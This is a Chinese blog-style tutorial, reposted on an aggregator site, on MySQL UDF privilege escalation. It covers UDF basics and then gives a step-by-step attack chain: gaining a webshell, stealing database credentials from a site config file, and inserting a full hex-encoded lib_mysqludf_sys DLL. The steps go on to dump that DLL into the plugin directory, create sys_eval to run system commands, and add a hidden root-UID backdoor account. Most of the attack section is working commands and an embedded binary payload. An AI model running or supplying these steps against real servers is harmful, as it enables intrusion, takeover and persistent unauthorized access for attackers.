操作系统权限提升(二十六)之数据库提权-MySQL UDF提权

news2024/11/6 3:00:33

MySQL UDF提权

MySQL介绍

MySQL是最流行的开放源码SQL数据库管理系统,相对于Oracle,DB2等大型数据库系统,MySQL由于其开源性、易用性、稳定性等特点,受到个人使用者、中小型企业甚至一些大型企业的广泛欢迎,MySQL具有以下特点:

1、MySQL是一种关联数据库管理系统,具有灵活性。

2、MySQL软件是一种开放源码软件。

3、MySQL数据库服务器具有快速、可靠和易于使用的特点。

4、MySQL服务器工作在客户端/服务器模式下,或嵌入式系统中。

5、MySQL有大量可用的共享MySQL软件。

MySQL安装

#安装教程
https://blog.csdn.net/qq_64973687/article/details/133012226?spm=1001.2014.3001.5502
#安装mysql.h文件
sudo yum install mysql-devel -y   
#安装gcc-c++
sudo yum install gcc-c++
#启动
systemctl start mysqld 
#root启动
mysqld --user=root  
setenforce 0

MySQL内置函数

平时我们使用mysql时可以执行show databases;可以让我们查看当前的电脑中有多少数据库

在这里插入图片描述

想看哪个数据库,我们就可以使用哪个数据库,比如我们现在想查看mysql这个数据库,我们就可以use mysql;使用这个数据库

在这里插入图片描述

想看这个数据库中有哪些表,我们就可以 show tables;查看当前数据库下有多少表

在这里插入图片描述

MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。比如 user()这个函数,我们执行 select user();这个语句可以查询当前登陆的用户是谁

在这里插入图片描述

又比如,如果我们想查看当前的数据库,我们可以执行 select database();这个语句

在这里插入图片描述

user()也好,database()也罢,他们都是MySQL数据库自带的内置函数,是开发者在一开始时就写好的功能

UDF介绍

MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。UDF机制能够起作用,必须使用C或者C++编写函数,你的系统必须支持动态加载,,mysql采用动态链接库加载自定义函数。

这里举个例子方便大家理解,我们在使用user();这个函数时返回的是当前的登陆用户,那我们现在编写一个函数,暂时命名为qianfu();,其作用是返回 a+b的值,现在我们给其传参 qianfu(1,2),那么返回的结果就是 1+2 == 3

除了数值之外,那还可以返回什么呢?比如我们再编写一个函数去执行系统命令,在这个函数中传入一个系统命令,比如 qianfu(“whomai”),那这个函数将返回执行系统命令后的结果,我们要讲解的UDF提权就是这种思路下的一个产物。

UDF编写详解

那么问题来了,我们该如何如开发自己的UDF呢?UDF需要编写成动态链接库,什么是动态链接库呢?一般来讲我们常见的dll文件和os文件就是动态链接库,Windows环境下的是dll文件,Linux环境下则是os文件。平时我们电脑上一个程序会有很多功能,比如我们的主程序有功能1,功能2,功能3,我们可以把功能1做成一个dll文件,功能2做成一个dll文件,功能3做成一个dll文件,在程序运行时,让主程序在运行时去加载这些dll文件就可实现相应的功能

在这里插入图片描述

在MYSQL中,要实现自定义函数,也就是UDF,举个例子,我们要实现qianfu(“whomai”)这么一个函数去执行系统命令,首先我们需要将其用C语言写好然后编译成一个qianfu.dll文件,然后将其放置于mysql数据库的指定目录下,然后我们就可以在mysql中去调用我们自定义的函数了

UDF就是为了让我们开发者能够自己写方便自己函数,它有3种返回值类型,这三种类型分别是STRING,INTEGER,REAL

STRING        字符型
INTEGER       整型
REAL          实数型

如下面的代码:

#include <mysql.h>
 extern "C" long long testadd(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
int a = *((long long *)args->args[0]);
int b = *((long long *)args->args[1]);
return a + b;
}
extern "C" my_bool testadd_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return 0;
}

用户主函数

首先我们假设需要定义的函数名字为为xxx, 则我们的函数需要有参数列表和返回值, 这不能由用户随意指定, 是有固定规则的

返回值是STRING 类型或DECIMAL类型

char *xxx(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error);

返回值是INTEGER类型

long long xxx(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);

返回值是REAL类型

double xxx(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);

系统内置函数

在完成了用户定义的主函数以后, 还需要编写配套的系统内置函数

xxx_init函数

这个函数会在自定义的xxx函数调用前被调用, 进行基本的初始化工作, 其完整定义如下,该函数的主要功能一般是分配空间, 函数参数检查的等. 如果不需要做任何操作, 直接返回0即可.

my_bool xxx_init(UDF_INIT *initid, UDF_ARGS *args, char *message)

返回值: 1代表出错, 可以在message中给出错误信息并且返回给客户端, 0表示正确执行

xxx_deinit

该函数用于释放申请的空间, 其完整定义如下,该函数的功能主要是释放资源, 如果在xxx_init中申请了内存, 可以在此处释放, 该函数在用户函数xxx执行以后执行

void xxx_deinit(UDF_INIT *initid);

执行流程

调用xxx_init来初始化, 并申请内存空间用于存储结果

调用xxx函数

调用xxx_deinit释放空间

运行自己的UDF

编写C/C++代码

#include <mysql.h>
 extern "C" long long testadd(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
int a = *((long long *)args->args[0]);
int b = *((long long *)args->args[1]);
return a + b;
}
extern "C" my_bool testadd_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return 0;
}

生成动态链接库

动态链接提供了一种方法,使进程可以调用不属于其可执行代码的函数。函数的可执行代码位于一个 DLL 文件中,该 DLL 包含一个或多个已被编译、链接并与使用它们的进程分开存储的函数。DLL 还有助于共享数据和资源。多个应用程序可同时访问内存中单个 DLL 副本的内容。windows是dll文件,linux是so文件

windows系统的话可以使用vs创建dll文件

使用vs创建dll文件即可

我们这里使用Dev-C++来编写,首先,我们打开Dev-C++,然后我们在新建一个项目

在这里插入图片描述

选择 DLL文件,并点击确定

在这里插入图片描述

然后我们在 dllmain.cpp 文件中去编写我们的函数

在这里插入图片描述

然后点击编译将其编译,就可以了

在这里插入图片描述

在Linux环境下,我们只需要去编写一个名为udf.cpp 的文件在执行编译的命令就可以将其编译好了,如下图所示

vim udf.cpp
-------------------------------------------------------------------
#include <mysql.h>
 extern "C" long long testadd(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
int a = *((long long *)args->args[0]);
int b = *((long long *)args->args[1]);
return a + b;
}
extern "C" my_bool testadd_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return 0;
}

-------------------------------------------------------------------
g++ -shared -fPIC -I /usr/include/mysql -o udf.so udf.cpp

在这里插入图片描述

在这里插入图片描述

上传到目标机器

接下来就是把我们编译好的udf.so文件放置到MySQL相应的目录下

1、mysql<5.0,路径随意
35.0<=MYsql<5.1, 放置系统目录(C:\windows\system32)
2、mysql>5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,(lib\plugin目录默认不存在,需自行创建)

可以看到我们当前的数据库的版本是5.7.43,那我们就需要将刚刚编译好的udf.so文件放置在mysql安装目录的lib\plugin文件夹下

在这里插入图片描述

创建函数

然后我们需要去创建函数,函数名字必须和源码中一样

create function 函数名 returns string soname "udf.dll";

查询是否导入成功

select * from mysql.func;

执行函数

select 函数名(参数);

提权准备

连接mysql

连接mysql的方式很多,比如拿到了webshell,或者通过暴力破解的方式,UDF提权的第一步就是先连接mysql

查询运行权限

为什么要查询运行权限呢?因为我们UDF本质上不是提权,是通过当前mysql的运行权限去执行系统命令,如果mysql运行权限太低的话就无法执行。比如我们当前机器是以daoer普通用户身份去运行MySQL的,当我们使用UDF去提权,因为UDF本质上不是提权,是通过daoer用户的运行权限去执行命令的,那么提到的权限自然也就是daoer普通用户的权限,像下面这种位于MYSQL数据库中的root用户的权限显然就是错误的,也就是说UDF提权提到的权限不是数据库中的用户权限,而是系统运行数据库这个服务的用户的权限

#错误的,这只是数据库的root用户权限,而不是系统的权限
select user(); 

在这里插入图片描述

一句话概括来说,UDF提权就是MySQL的服务端是由谁运行的,就可以提到谁的权限,UDF提权提的是系统用户的权限,而不是数据库用户的权限

在Linux下5.7版本之后,默认运行时MySQL的是mysql用户,所以在MySQL 5.7版本之后,UDF提权基本上来讲算是失效了,除非管理员手动用root身份去运行MYSQL,5.7之前MySQL运行时默认是以root身份去运行的

查询软件版本

为什么要查询版本呢?因为不同版本的动态链接文件导入的地方不同

select version();

在这里插入图片描述

1、mysql<5.0,路径随意
35.0<=MYsql<5.1, 放置系统目录(C:\windows\system32)
2、mysql>5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,(lib\plugin目录默认不存在,需自行创建)

查询系统位数

为什么要查询系统位数呢?不同的系统和位数有不同的动态连接文件

show variables like '%compile%';

在这里插入图片描述

查询读写权限

为什么要查询读写权限呢?因为我们要将动态连接文件导入到相应的目录里

show global variables like 'secure%';

在这里插入图片描述

secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限,一般三种情况:

show global variables like 'secure%';  查询
secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

如果想要更改就要改my.cnf文件中配置 secure_file_priv=‘’

我们可以使用以下的命令去查询my.cnf文件

find / -name my.cnf

在这里插入图片描述

查询到my.cnf文件位于/etc/my.cnf,接下来我们就可以去修改 secure_file_priv=''了,修改结果如下,这时我们就可以进行UDF提权了

在这里插入图片描述

查看plugin目录位置

为什么要查询plugin?因为我们要将动态连接文件导入到此目录

show variables like 'plugin%';

在这里插入图片描述

生成动态连接文件

接下来就需要我们去生成动态连接文件,但实际情况中不用我们生成了,在sqlmap中就已经存在,或者MSF中也存在,我们只需要使用就行了,不需要在去写源代码。

存在位置为,其中分为windows 和linux 版本,分别有32位和64位

sqlmap/data/udf/mysql
metasploit-framework/data/exploits/mysql/

sqlmap

如图所示,就是我们在Sqlmap中找到的动态连接文件,是udf中mysql中linux下的64位的 lib_mysqludf_sys.so_ 文件

在这里插入图片描述

sqlmap中的是通过加密的,需要用解密脚本解密,解密脚本在 /sqlmap/extra/cloak/cloak.py

用法如下:

python cloak.py -d -i lib_mysqludf_sys.so_(sqlmap中的加密动态连接文件)

MSF

同样,我们可以执行如下的命令去查询位于MSF中的动态连接文件

find / -name "lib_mysqludf*"

在这里插入图片描述

如图所示,就是位于MSF中的动态连接文件

UDF提权实验

一般来讲我们都是通过Web渗透,使用WebShell等一些工具去控制网站的,我们这里通过中国蚁剑上传WebShell连接控制网站

在这里插入图片描述

然后我们去使用终端,发现我们现在是一个普通的apache用户,没有权限去执行添加用户的命令

在这里插入图片描述

那这时我们需要去提权,那该怎么提权呢?如果目标网站恰好有Mysql数据库系统,那我们就可以去查找一些敏感配置的文件,这些文件里面很有可能包含了数据库连接的用户和密码,比如下图

在这里插入图片描述

我们在网站的system目录下的config目录下的 my.php文件中查找到了Mysql数据库的连接用户名和密码

在这里插入图片描述

那我们这时就可以使用中国蚁剑这种工具去执行数据操作,连接网站的数据库

在这里插入图片描述

当前连接网站数据库的操作配置如下

在这里插入图片描述

这样我们就连进了当前网站的数据库了

在这里插入图片描述

接下来我们就可以使用UDF进行提权了

建表

首先我们执行以下的命令创建一张临时表用来存放DLL/OS文件的16进制内容

CREATE TABLE temp_udf (udf blob);

在这里插入图片描述

插入

其中 binaryCode为已经转换好的十六进制内容,binaryCode前加0X

INSERT into temp_udf values (CONVERT($binaryCode,CHAR));

转化成16进制方法很多,我们这里可以借助mysql,当然这里的dll文件我们可以去MSF中获得,之前已经讲过了,MSF中自带相应的dll文件,我们这里只需要将其拷贝过来使用就好了

我们这里将MSF中自带相应的dll文件比如lib_mysqludf_sys_64.dll重命名为1.dll文件,将其放置在本地的C盘目录下,然后我们可以借助mysql数据库将其转换为1.txt文件

select hex(load_file('C:/1.dll')) into dumpfile 'c:/1.txt'

在这里插入图片描述

当然这里转换数据的Mysql一定是我们装在自己系统上的Mysql数据库(总不能用别人网站的数据库系统去转吧),执行完命令后,我们会发现我们本地C盘的目录下多了一个1.txt的文件

在这里插入图片描述

而这个1.txt文件里的内容就是1.dll文件的内容,我们这里只不过是将其转换成了Hex 16 进制的格式

在这里插入图片描述

接下来我们就需要其中的内容拷贝下来放到下列语句的相应位置中,并在之前加上 0x

INSERT into temp_udf values (CONVERT(0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000004D477BD0092615830926158309261583005E86830B261583005E808308261583005E968307261583005E91830B2615832EE06E830A2615830926148325261583005E9C8308261583005E878308261583005E8483082615835269636809261583000000000000000000000000000000000000000000000000504500004C0103004AFE9F5A0000000000000000E00002210B010900001000000010000000600000607C0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007C83000008020000B4820000C800000000800000B402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002C7E00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000E0555058310000000000100000007000000010000000040000000000000000000000000000400000E02E7273726300000000100000008000000006000000140000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D090208B92BCF11B11CEEA24F550000560C000000220000260000A8FFFFFFFF8B4C240833C03901741656578B7C24146A0C59BE000010DCF3A566A55FB0015E5DFB77FBC38B44240C1A6A071611108BF8183218FF63DB6F1CA45FC7011E1200210883380175128B40040DF6776F0700750A1004C6000132C0C3530ABF1DF68D3C3053A454082D08FF30FF15FFF6EE776C885985C075085614C601011BC8568D71018A11FD6FDFFE4184D275F98B54142BCE890A32558BEC8B4D0C833902B7D860BF5374148B7D10915C5453EB4CBF9DBDDF8B417D740F1B707C1BEBE5836004DBB1FFB7001A0C8B48048B008D4401025072A0594C08DFC8D7B5891678113006A44CEB6C57BEB7B2B85F5E5DA30421740833DBB63FF6A8591353568B742410D878534602DB85DB5BB6460851C78D5C4257E8240B75EEEEBFE01400C604070008FF70041E0553B1DB1B921A22C418535720030054090F09B7086A995B0F98599954CF2D343713B8F4540B1EDEB60D818403552251519D35DFFED6FEDF576800F762D66A018945FC068BF08B4560DD7FF70CC606004533FF595939387471683CC071C6FEDFDA9C12260C3BC7745B506A04FF75FC149073E1EDD7A9FD48533AFC8D48911040B963DBFF2BC18BD88D043B505630F8268C5330D8AD8DBD5F03FE570E940DE57DF8463FE6364C2066BA5B1810A4803E0059169EB0FF741A8BC6C64437FF00594D1489C906987BEBD86F183E5F205EC9C3EED7B235DCBAF37D574708C45030087BDBDACDC9C26A4078C710548D4601B9E07E614251724F0856FF31CF6BAFDD9DB694C66AFF8DC32082F63A58B0B6030D092C23005F7CC36E57036C6A081D1290AC0AA88365FC2F6C2F2C2D4592D0EB071B408F65E8C70BBFD66E42FEFF000D1FEDC25E3BFFDB17B60D08209A02F3C3E90806F58BFF56688000002D8C6D675880985608845AA3BDE0FEBB062358045485F675054DAA83260076FBB7DB4508C36F08ED09ACC704240607FF0B4C113637598D71FFCF9C0BBF77DFC9750E39056B107E3CFF7310830B01FBEEC6BB8B0910548B098F57890A23480F85D47D618CBBAD641718068B79040838071B76EDEEBB1E50EB184AA705B8E61768B0B030D8E803A83C0957C1D6BBAEB5D6A1E7E9E2573CA12F4C6A6FF777C3025EFD096A1FEE76EB3CAA10C80475ED7BEFC0C7051F281A70E027071BDFF79D5CB520BC04B81B6A5635B952EB782B7339B2E3696FF7DEFD7340393D155C741C68062809AC43DB6B85850D9E1034252316FFE666F862F154B201DC0801592CC2B1A1DB78049DDFDBF62413D90FD4FC83F80266B16F6CB0D2595BFFA0584B77783BB5783106350F8487C71996EE4CD3543BF81810897D82EFC796BE35FAC87251833F8AF36A7C398587B4F10774E9FFC8D60F7C89C5DB9BB5D955F85615441B474DED5BE38EF88A394D1003D00874B48909437AA36D020C1AD3F8EBA71C3162CC5A64442E386161FB0A58064C32FC19503F1BDF720443375BC9C20CC710FB02231FB2288B2EF28B5D081CAE0FDB9B54E433C95CFC7D2008016C2DC6C23BF15A393A4417E4D61BFE7FAFAE3BF0740583FE02752E1910D03BC1E7166EB8ED57565FD03B5EE40003937B703B67115A039614168012376C7D270A8227FEA0246420575062B30D661327002F527F8DF61AD2061153F76A037543B067BB614F34032168742E2C0D2C3CEC257FEB1B71EC5A09706A7C6FAAE05051597C64825D900EADF62FFA8A19066B8F91B6C72AE490C396EC1640E134A9FF3B246ABB41C1F17926547DBC550C0D381E33BC05BC595D382281EC2832F7869F365F212043211C895E2118891D05F78EC243143C21A2AA210C668C186C5FFBDA3806252C0620080605DD2DCDD20425002D7FFC9C8F7AB6B1F6143095562407042831D6FEDB7F0807348B85E0FCA0AA701DDBB5B395011C1920241318092B18476A565F201CB360C32C9F7B8985D8320A04DC03B557E01B243468DEDFD1F7D8D360CE2879D40A2C833D208DBDC3DA00F923685B1B300BDFAF67F534C97F23401EC25F6A4849918F144A50152E9DF458AAF8A29C10F3EB67611C7E052C37D4598FEDED8321B9273551E0F5EE3BDC0ABF03E4507F4B8417185BDB7E600BCE1CDC142CD6E288B154B609E01B14F413160A4BDB313DDCDBFFDC84676CC859D94E1E07F7D81BF076BBB7C00359485D1656B8BC18BE04A3638B6F2AF83BC673080753025073D85F60835A3BFE72F15F5E25206C6053C820CC006F35B4DD452BB84D5A346627040B85BF2B5E6E413C03C1813850E45FEFA5ECFFFB33D2B90B011C48180F94C28BC25DC33FB702BF35E34831C80FB74114AE057106C1A55B6C33578C081817761BFFFF2FF1D7487BF972098B580803D93BFB720A4283C0283BD67270CA36B5E86AE55DC38F6AFEF0CD71F7A970040B056418005083EC080DB7C670082F316C33C576F0852F06DF64A31A89B90968555DB7F081F0B2091C6B04F555972DD12C937D1350195C083B04E1C26F2724C1E81FF715E0018FEFB6532B034F230059948BE55DC3621DDB49A301CA3DAFC0FAE99525242631CCFF29343232B61058054C50AC2CB41E97AF12B60D56096B27D7616B20CFB0FBEF2AE4E03160031F73D9665B9A6C038D2BE0FAFC046BA039F13CB4FC8A0D6C120C7D0DC395C3C1619C965154147FE41F3E783124F020140BDAC40E5643B25D53EC1068F885626DF4F888C9BF4EE640BB25EEA0398466820D85C33149DB9F0A359A04EB605675F869639FC1F6448B7598751F1033F0071476E6CA20189D271CB4F6EE6FEDF4330C113BF77507BE4F59EB0B85F30A7B047EA10AC1E0100BF0CE00F7D6076C840D1E045E5F01C33F5C05646464646064686C1405766474B000003FF4C20E034B0F20185F4E6F20FFFFB7FF617267756D656E7473096C6C6F77656420287564663A206C69625F6DCCFD6DF77973716C0D5F73085F696E666F293918DFB6FF8F2076657273696F6E20302E01341F45787065F6DBDBDD637447657861076C79201A65207374723F5BDB5AFB672074791B75726171217258C00E602B7477911FD86F030B3F8672206E616D48DBB1B71F436F756C246E6F74C4636113203058B76D186D2779AF72F1483FDA4D943F2003121071051BF29D5860214707D0604D0D0B0F81CB074ED961DD9703AB17CC2708A77527ECC00FD81F0A3B034FC0A07B851F03240328C1556583A200C5889251CA22D877BDB119BF44FF000F5565A3AA00A8AA9251645455C95532AAAAFFF61D455C0410020157616974466F00FC06C07253886C654F626A07C07F6B99145669727475616C417603E0F6370D536574456E76126F6EC000BC6DBF5661726961622B4118437265F76DEB6E94546806640D47264375727222CD12F65B502A636573734914266E03E083135469636BDE6E6BB1F6B6FD5175657279500366846D616E371667EF1B00FD0144697367374CFDB7EDED6962727879436192731A4973446562756767EDEE6DAD266A686546A4556E6840B1B7B7B7643164457846707469AF46696C4A6D295B6119B41254DE64AEB0176D0DD8114990B9EDD61A0A6B409D6D70876547C25A73CD517F77555122B4ED6E591B5C537973186DEEC3C2EB2E39417373650975697CDB15DA434C7D5F687E396D5F2EDFFEDEBE5F616D7367087869740B646A753A5F666469EC4217B076260A639A5F64FD6CADB91F5F686F6F6B131459725FF802700148D15FDB9CEB0249730A330A6C21D6F0BD82539C2A64D46E640893050B130F651E6B5B7BC25F2C723456ED6D1C182FF6D69A700A035F706F522947E1DDBE6E106468756C5EB92A6BCB92BD9B1B2CA806E0B6D86E6EC57265250866112E827BDB5673749C637079082439EDCD5C6B32C06E4D0FD7ED1F5AC36F7319663A1F5F4370705831C75E3B8474BC6D343F001817FFFFFFFF3D193C1C1B161E55142D16270815270F11115F10130A070D2E17090705160C1E7FFBFFFF080A0B160918181505061B050C10060717062105110F061421110B08E4FBDFB62B22052A111D0D18532D483806000776FBDBE5080C09330A090B0C051007061612EEDFFEED0E0B34150B18160D3D0542C205121E14066930FFD8DDFF110C0E1D4D0517230D0C3224080B4506F0DE041004F03B0A6EFF2C01043808041C1C0204003E4C016DFF21FD05004AFE9F5A8FE00002210B0109080C634F7AD60C1213D616A300200E10C10A01630B02AB3362B7EE6107006003040233351EEED9C0CE34100706C02633D6EDDB7620AC22033C144002B0021C5759DD0050520143C8C8BA65B1214200A7B82F06DB5D182EB4787407EA0B900C5BFA90CDB742602E72647D610861C90E76C508FB0A00C700A1DB66BB77402E26300304301BECDB943D001A27C04F73726300EB11C0061B40731C4F78C2C2A365761F01030002ED7760497B27421BA023030000EDD8D152127C53030400000000000080FF00000000000000000000807C2408010F85B901000060BE007000108DBE00A0FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B92A0000008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE005000008B0709C0743C8B5F048D8430B472000001F35083C708FF96F0720000958A074708C074DC89F95748F2AE55FF96F472000009C07407890383C304EBE16131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAEF87200008DBE00F0FFFFBB0010000050546A045357FFD58D871702000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9AD98FFFF0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005C80000056020000E404000000000000584000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A20203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0A202020203C73656375726974793E0D0A2020202020203C72657175657374656450726976696C656765733E0D0A20202020202020203C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365223E3C2F726571756573746564457865637574696F6E4C6576656C3E0D0A2020202020203C2F72657175657374656450726976696C656765733E0D0A202020203C2F73656375726974793E0D0A20203C2F7472757374496E666F3E0D0A20203C646570656E64656E63793E0D0A202020203C646570656E64656E74417373656D626C793E0D0A2020202020203C617373656D626C794964656E7469747920747970653D2277696E333222206E616D653D224D6963726F736F66742E564339302E435254222076657273696F6E3D22392E302E32313032322E38222070726F636573736F724172636869746563747572653D2278383622207075626C69634B6579546F6B656E3D2231666338623362396131653138653362223E3C2F617373656D626C794964656E746974793E0D0A202020203C2F646570656E64656E74417373656D626C793E0D0A20203C2F646570656E64656E63793E0D0A3C2F617373656D626C793E504100000000000000000000000010830000F08200000000000000000000000000001D83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004B45524E454C33322E444C4C004D5356435239302E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000006672656500000000000000004AFE9F5A0000000058840000010000001200000012000000A4830000EC8300003484000021100000A312000000100000A4120000A3120000A0120000CC110000A31200009811000086110000A31200009811000076100000A3120000431000002E1100001A110000A91000006D84000083840000A0840000BB840000C7840000DA840000EB840000F484000004850000128500001B8500002B8500003985000041850000508500005D850000658500007485000000000100020003000400050006000700080009000A000B000C000D000E000F00100011006C69625F6D7973716C7564665F7379732E646C6C006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F62696E6576616C007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F6576616C007379735F6576616C5F6465696E6974007379735F6576616C5F696E6974007379735F65786563007379735F657865635F6465696E6974007379735F657865635F696E6974007379735F676574007379735F6765745F6465696E6974007379735F6765745F696E6974007379735F736574007379735F7365745F6465696E6974007379735F7365745F696E69740000000000700000100000006D3C683E6C3E0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,CHAR));

然后我们将以上的命令放到网站的数据库中去执行

在这里插入图片描述

我们这里可以通过以下语句去判断是否导入成功,如图所示

select * from temp_udf;

在这里插入图片描述

导出

然后我们需要选择对应的地方进行导出,那哪个地方是对应的地方呢?我们可以通过下面的命令去查看导出的位置

show variables like 'plugin%';

在这里插入图片描述

接着我们执行以下的命令去导出

SELECT udf FROM temp_udf INTO DUMPFILE "C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll"

在这里插入图片描述

现在在网站相应的目录下就会存在一个udf.dll文件,如图所示

在这里插入图片描述

那么现在这个dll文件就被导入到了相应的目录下了

创建函数

接下来我们只需要去执行以下的语句创建函数就可以了

create function sys_eval returns string soname 'udf.dll';

在这里插入图片描述

执行

接下来我们只需要去执行以下的命令就可以得到运行Mysql数据库服务端的用户的权限了

select sys_eval("whoami");

在这里插入图片描述

如图所示,我们成功从apache普通用户提到了administrator管理员用户的权限了

创建后门

我们可以执行以下的命令添加后门用户用来进行权限维持

select sys_eval("useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test");

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1025016.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

点大商城V2_2.5.0 全开源独立版 商家自营+多商户入驻 百度+支付宝+QQ+头条+小程序端+unipp开源前端

点大商城V2是一款采用全新界面设计支持多端覆盖的小程序应用&#xff0c;支持H5、微信公众号、微信小程序、头条小程序、支付宝小程序、百度小程序&#xff0c;本程序是点大商城V2独立版&#xff0c;包含全部插件&#xff0c;代码全开源&#xff0c;并且有VUE全端代码。分销&am…

log4j2原理分析及漏洞复现CVE-2021-44228

文章目录 log4j2原理分析及漏洞复现0x01 log4j2简介Log4j2 特点Log4j2组件的应用 0x02 CVE-2021-44228漏洞简介&#xff1a;漏洞适用版本漏洞原理lookup功能jndi解析器jndi是什么ldap服务RMI 0x03攻击过程0x04漏洞复现漏洞环境1.访问靶机2.dns回显验证3.将bash反弹shell命令编码…

职业观察|02:铁路维修师

高铁及地铁的发展&#xff0c;新生了许多之前没有的职位和专业。除了空乘/铁乘、安检人员等&#xff0c;大家可能相对熟悉。背后的维系工作人员其实也是一群更庞大的从业人员。本次主要介绍“铁路机务”。以下由一位铁路机务小哥讲述。 首先简单介绍一下铁路系统&#xff08;包…

准备我们心爱的IDEA写Jsp

JSP学习 一、准备我们心爱的IDEA new一个项目&#xff1a;New Project --> Next -->Next -->Finsh 二、配置好服务器Tomcat-9.0.30 1.> 在WEB-INF下创建一个Lib包 将jsp-api.jar复制进去&#xff0c;并使其生效 未生效前&#xff1a; 生效过程&#xff1a; 2.>…

VLAN相关知识点

文章目录 前言VLANVLAN数据帧格式QinQ报文封装格式总结 前言 本博客仅做学习笔记&#xff0c;如有侵权&#xff0c;联系后即刻更改 科普&#xff1a; 参考网址 VLAN VLAN&#xff08;Virtual Local Area Network&#xff09;即虚拟局域网 是将一个物理的LAN在逻辑上划分成多…

Filebeat+Kafka+ELK搭建

---------------- FilebeatKafkaELK ---------------- 1.部署 ZookeeperKafka 集群 &#xff08;前面已经配过 20.0.0.101、20.0.0.102、20.0.0.103&#xff09; https://blog.csdn.net/m0_56509725/article/details/132908696?spm1001.2014.3001.55011.1 配置ELK 在&#xf…

阿里云负载均衡配置只能域名访问

